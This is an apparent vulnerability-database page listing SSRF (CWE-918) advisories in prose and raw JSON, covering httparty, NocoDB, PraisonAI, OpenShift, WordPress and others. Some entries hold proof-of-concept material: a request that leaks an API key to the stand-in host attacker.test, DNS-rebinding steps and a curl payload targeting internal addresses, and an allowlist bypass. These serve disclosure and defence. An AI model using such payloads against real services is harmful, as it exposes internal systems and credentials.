Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6217 vulnerabilities reference this CWE, most recent first.

GHSA-HM52-6738-R26P

Vulnerability from github – Published: 2026-09-19 00:32 – Updated: 2026-10-01 18:32
VLAI
Details

A flaw was found in the OpenShift console. Unauthenticated access to the /api/devfile/ and /api/devfile/samples/ endpoints allows a remote attacker to send crafted devfile payloads. This can lead to Server-Side Request Forgery (SSRF), where the console pod makes requests to internal services and reflects partial responses to the attacker. Additionally, by sending repeated large requests without a specified content length, an attacker can cause unbounded memory growth, leading to a Denial of Service (DoS).

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-75885"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T22:17:10Z",
    "severity": "CRITICAL"
  },
  "details": "A flaw was found in the OpenShift console. Unauthenticated access to the `/api/devfile/` and `/api/devfile/samples/` endpoints allows a remote attacker to send crafted devfile payloads. This can lead to Server-Side Request Forgery (SSRF), where the console pod makes requests to internal services and reflects partial responses to the attacker. Additionally, by sending repeated large requests without a specified content length, an attacker can cause unbounded memory growth, leading to a Denial of Service (DoS).",
  "id": "GHSA-hm52-6738-r26p",
  "modified": "2026-10-01T18:32:37Z",
  "published": "2026-09-19T00:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75885"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70587"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70617"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:70647"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71447"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71450"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71453"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:71454"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-75885"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2517885"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HM5P-X4RQ-38W4

Vulnerability from github – Published: 2025-12-23 19:31 – Updated: 2026-06-08 23:17
VLAI
Summary
httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
Details

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

  1. Set up two simple HTTP servers.

bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 &

  1. Create a script (for example, main.rb):

```rb require 'httparty'

class Client include HTTParty base_uri 'http://localhost:10001' end

data = Client.get('http://localhost:10002').body puts data ```

  1. Run the script:

bash $ ruby main.rb this is server2

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

  • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
  • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
  • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
7.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.2"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "httparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-23T19:31:10Z",
    "nvd_published_at": "2025-12-23T23:15:45Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire \u0027sinatra\u0027\nrequire \u0027httparty\u0027\n\nclass RepositoryClient\n  include HTTParty\n  base_uri \u0027http://exmaple.test/api/v1/repositories/\u0027\n  headers \u0027X-API-KEY\u0027 =\u003e \u00271234567890\u0027\nend\n\npost \u0027/issue\u0027 do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body[\u0027repository_id\u0027]).body\n  # do something\n  json message: \u0027OK\u0027\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python\u0027s `urljoin` function has documented a warning about similar behavior:  \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" \u003e /tmp/server1/index.html \n   echo \"this is server2\" \u003e /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 \u0026\n   python -m http.server -d /tmp/server2 10002 \u0026\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require \u0027httparty\u0027\n\n   class Client\n     include HTTParty\n     base_uri \u0027http://localhost:10001\u0027\n   end\n\n   data = Client.get(\u0027http://localhost:10002\u0027).body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.",
  "id": "GHSA-hm5p-x4rq-38w4",
  "modified": "2026-06-08T23:17:28Z",
  "published": "2025-12-23T19:31:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jnunemaker/httparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage"
}

GHSA-HMCR-RMJQ-47QR

Vulnerability from github – Published: 2026-06-17 14:08 – Updated: 2026-07-20 21:20
VLAI
Summary
NocoDB: Server-Side Request Forgery via Spreadsheet Import Endpoint
Details

Summary

The spreadsheet-import endpoint axiosRequestMake could be used as a generic HTTP proxy. Before the fix it was reachable unauthenticated, and its URL-extension allowlist was a regex tested against the full URL string, so URLs whose query string ended in .csv (for example https://example.com/robots.txt?.csv) satisfied the gate even though the underlying request was for robots.txt.

Details

Three layers of protection now apply to the endpoint:

  • The controller is decorated with @UseGuards(DataApiLimiterGuard, GlobalGuard) and @Acl('fetchViaUrl'), so unauthenticated callers and callers without the editor role are rejected before the request body is processed.
  • The extension allowlist is tested against url.pathname only. Callers can no longer satisfy the regex by appending a .csv suffix to the query string.
  • The downstream axios call is wired to useAgent(url) from request-filtering-agent, which blocks RFC 1918, loopback, link-local, and other private destinations at the socket layer.

Impact

Unauthenticated callers could previously coerce the NocoDB process to issue HTTP requests on their behalf, including to internal services reachable from the host. With the auth gate in place and the pathname-anchored extension check combined with socket-layer destination filtering, the endpoint is no longer usable as a generic proxy and can no longer reach private ranges.

Credit

This issue was reported by the GitHub Security Lab (@p-, @m-y-mo).

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nocodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.301.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:08:26Z",
    "nvd_published_at": "2026-06-23T21:17:01Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe spreadsheet-import endpoint `axiosRequestMake` could be used as a generic\nHTTP proxy. Before the fix it was reachable unauthenticated, and its\nURL-extension allowlist was a regex tested against the full URL string, so\nURLs whose query string ended in `.csv` (for example\n`https://example.com/robots.txt?.csv`) satisfied the gate even though the\nunderlying request was for `robots.txt`.\n\n### Details\nThree layers of protection now apply to the endpoint:\n\n- The controller is decorated with `@UseGuards(DataApiLimiterGuard, GlobalGuard)`\n  and `@Acl(\u0027fetchViaUrl\u0027)`, so unauthenticated callers and callers without\n  the editor role are rejected before the request body is processed.\n- The extension allowlist is tested against `url.pathname` only. Callers can\n  no longer satisfy the regex by appending a `.csv` suffix to the query\n  string.\n- The downstream axios call is wired to `useAgent(url)` from\n  `request-filtering-agent`, which blocks RFC 1918, loopback, link-local,\n  and other private destinations at the socket layer.\n\n### Impact\nUnauthenticated callers could previously coerce the NocoDB process to issue\nHTTP requests on their behalf, including to internal services reachable from\nthe host. With the auth gate in place and the pathname-anchored extension\ncheck combined with socket-layer destination filtering, the endpoint is no\nlonger usable as a generic proxy and can no longer reach private ranges.\n\n### Credit\nThis issue was reported by the [GitHub Security Lab](https://securitylab.github.com/)\n([@p-](https://github.com/p-), [@m-y-mo](https://github.com/m-y-mo)).",
  "id": "GHSA-hmcr-rmjq-47qr",
  "modified": "2026-07-20T21:20:26Z",
  "published": "2026-06-17T14:08:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocodb/nocodb/security/advisories/GHSA-hmcr-rmjq-47qr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53931"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocodb/nocodb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NocoDB: Server-Side Request Forgery via Spreadsheet Import Endpoint"
}

GHSA-HMFJ-V22F-3WW3

Vulnerability from github – Published: 2023-11-03 12:30 – Updated: 2023-11-03 12:30
VLAI
Details

A SSRF vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0, specifically the /smtpConfig.do component. This vulnerability could allow an authenticated attacker to launch targeted attacks, such as a cross-port attack, service enumeration and other attacks via HTTP requests.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-4769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-03T11:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A SSRF vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0, specifically the /smtpConfig.do component. This vulnerability could allow an authenticated attacker to launch targeted attacks, such as a cross-port attack, service enumeration and other attacks via HTTP requests.",
  "id": "GHSA-hmfj-v22f-3ww3",
  "modified": "2023-11-03T12:30:31Z",
  "published": "2023-11-03T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4769"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-manageengine-desktop-central"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HMFP-MWGF-VXWX

Vulnerability from github – Published: 2025-04-18 15:31 – Updated: 2025-04-18 15:31
VLAI
Details

A vulnerability was found in PbootCMS 3.2.5. It has been classified as problematic. Affected is an unknown function of the component Image Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-3787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-18T10:15:15Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in PbootCMS 3.2.5. It has been classified as problematic. Affected is an unknown function of the component Image Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-hmfp-mwgf-vxwx",
  "modified": "2025-04-18T15:31:38Z",
  "published": "2025-04-18T15:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3787"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KKDT12138/CVE/blob/main/cve6.pdf"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.305610"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.305610"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.553731"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HMFX-4V44-9QW9

Vulnerability from github – Published: 2026-08-25 15:02 – Updated: 2026-08-25 15:02
VLAI
Summary
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Details

Summary

The webhook_url field in the Jobs API silently passes validation when DNS resolution fails (socket.gaierror), enabling DNS rebinding attacks. An attacker's domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.

Details

The validator catches socket.gaierror and silently allows the URL:

# src/praisonai/praisonai/jobs/models.py:55
try:
    ip = socket.gethostbyname(hostname)
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_private or ip_obj.is_loopback:
        raise ValueError("private address")
except socket.gaierror:
    pass  # BUG: DNS failure silently ignored → SSRF bypass

The HTTP call is made later with no re-validation:

# src/praisonai/praisonai/jobs/executor.py:402
async with httpx.AsyncClient() as client:
    await client.post(job.webhook_url, ...)  # no second IP check

Proof of Concept

DNS rebinding flow: 1. Register attacker.com with TTL=1s → resolves to 1.2.3.4 (public IP) 2. Submit job: webhook_url=http://attacker.com/callback 3. Validation passes (public IP) 4. Switch DNS: attacker.com → 127.0.0.1 5. Job completes → server POSTs to 127.0.0.1 → internal SSRF

Unresolvable domain bypass (no DNS rebinding required):

curl -X POST http://:8005/api/v1/runs \
  -d '{"prompt":"run","webhook_url":"http://unresolvable.internal/cb","agent_yaml":"..."}'
# Validation: gaierror → pass → URL accepted

Impact

SSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., http://169.254.169.254/). Exploitable without authentication.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.48"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:02:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `webhook_url` field in the Jobs API silently passes validation when DNS resolution fails (`socket.gaierror`), enabling DNS rebinding attacks. An attacker\u0027s domain can initially resolve to a public IP (passing validation) then switch to an internal IP before the server makes the HTTP request.\n\n### Details\nThe validator catches `socket.gaierror` and silently allows the URL:\n\n```python\n# src/praisonai/praisonai/jobs/models.py:55\ntry:\n    ip = socket.gethostbyname(hostname)\n    ip_obj = ipaddress.ip_address(ip)\n    if ip_obj.is_private or ip_obj.is_loopback:\n        raise ValueError(\"private address\")\nexcept socket.gaierror:\n    pass  # BUG: DNS failure silently ignored \u2192 SSRF bypass\n```\n\nThe HTTP call is made later with no re-validation:\n\n```python\n# src/praisonai/praisonai/jobs/executor.py:402\nasync with httpx.AsyncClient() as client:\n    await client.post(job.webhook_url, ...)  # no second IP check\n```\n\n### Proof of Concept\n\n**DNS rebinding flow:**\n1. Register `attacker.com` with TTL=1s \u2192 resolves to `1.2.3.4` (public IP)\n2. Submit job: `webhook_url=http://attacker.com/callback`\n3. Validation passes (public IP)\n4. Switch DNS: `attacker.com` \u2192 `127.0.0.1`\n5. Job completes \u2192 server POSTs to `127.0.0.1` \u2192 internal SSRF\n\n**Unresolvable domain bypass (no DNS rebinding required):**\n\n```bash\ncurl -X POST http://:8005/api/v1/runs \\\n  -d \u0027{\"prompt\":\"run\",\"webhook_url\":\"http://unresolvable.internal/cb\",\"agent_yaml\":\"...\"}\u0027\n# Validation: gaierror \u2192 pass \u2192 URL accepted\n```\n\n### Impact\nSSRF to internal HTTP services: admin panels, databases, and cloud metadata APIs (e.g., `http://169.254.169.254/`). Exploitable without authentication.",
  "id": "GHSA-hmfx-4v44-9qw9",
  "modified": "2026-08-25T15:02:04Z",
  "published": "2026-08-25T15:02:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hmfx-4v44-9qw9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation"
}

GHSA-HMQR-J9C3-8H75

Vulnerability from github – Published: 2022-05-14 01:20 – Updated: 2025-04-20 03:37
VLAI
Details

In WordPress before 4.7.5, there is insufficient redirect validation in the HTTP class, leading to SSRF.

Severity
8.6 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2017-9066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-18T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "In WordPress before 4.7.5, there is insufficient redirect validation in the HTTP class, leading to SSRF.",
  "id": "GHSA-hmqr-j9c3-8h75",
  "modified": "2025-04-20T03:37:51Z",
  "published": "2022-05-14T01:20:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WordPress/WordPress/commit/76d77e927bb4d0f87c7262a50e28d84e01fd2b11"
    },
    {
      "type": "WEB",
      "url": "https://codex.wordpress.org/Version_4.7.5"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/skansing/status/865362551097393153"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/news/2017/05/wordpress-4-7-5"
    },
    {
      "type": "WEB",
      "url": "https://wpvulndb.com/vulnerabilities/8815"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4090"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98509"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038520"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HP2Q-C8XQ-V8QV

Vulnerability from github – Published: 2026-07-02 15:32 – Updated: 2026-07-02 15:32
VLAI
Details

A malicious actor with access to the network could exploit a Server-Side Request Forgery (SSRF) vulnerability found in UniFi Talk Application to execute a Denial of Service (DoS) attack and bypass authentication in certain UniFi Talk API endpoints.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-55113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T15:17:05Z",
    "severity": "HIGH"
  },
  "details": "A malicious actor with access to the network could exploit a Server-Side Request Forgery (SSRF) vulnerability found in UniFi Talk Application to execute a Denial of Service (DoS) attack and bypass authentication in certain UniFi Talk API endpoints.",
  "id": "GHSA-hp2q-c8xq-v8qv",
  "modified": "2026-07-02T15:32:13Z",
  "published": "2026-07-02T15:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55113"
    },
    {
      "type": "WEB",
      "url": "https://community.ui.com/releases/Security-Advisory-Bulletin-066-066/984eceb3-49c8-4227-942d-671c289b3afc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HP6R-MRH8-47VQ

Vulnerability from github – Published: 2026-09-02 00:31 – Updated: 2026-09-08 15:31
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed remote code execution on the instance. Insufficient network isolation allowed malicious pre-receive hook code to impersonate an internal service and redirect trusted internal requests to a privileged service, leading to elevated code execution. Exploitation required pre-receive hook networking to be enabled and either site administrator privileges or write access to a repository containing a configured pre-receive hook. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.17.20, 3.18.14, 3.19.11, 3.20.7, and 3.21.5. This vulnerability was reported via the GitHub Bug Bounty program.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-76851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-01T22:17:13Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed remote code execution on the instance. Insufficient network isolation allowed malicious pre-receive hook code to impersonate an internal service and redirect trusted internal requests to a privileged service, leading to elevated code execution. Exploitation required pre-receive hook networking to be enabled and either site administrator privileges or write access to a repository containing a configured pre-receive hook. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.17.20, 3.18.14, 3.19.11, 3.20.7, and 3.21.5. This vulnerability was reported via the GitHub Bug Bounty program.",
  "id": "GHSA-hp6r-mrh8-47vq",
  "modified": "2026-09-08T15:31:29Z",
  "published": "2026-09-02T00:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76851"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.20"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.14"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.11"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.7"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.21/admin/release-notes#3.21.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HP7X-282P-HHR9

Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2024-01-09 21:25
VLAI
Summary
Jenkins TraceTronic ECU-TEST Plugin server-side request forgery vulnerability
Details

A server-side request forgery vulnerability exists in Jenkins TraceTronic ECU-TEST Plugin 2.3 and earlier in ATXPublisher.java that allows attackers to have Jenkins send HTTP requests to an attacker-specified host.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "de.tracetronic.jenkins.plugins:ecutest"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4"
            }
          ],
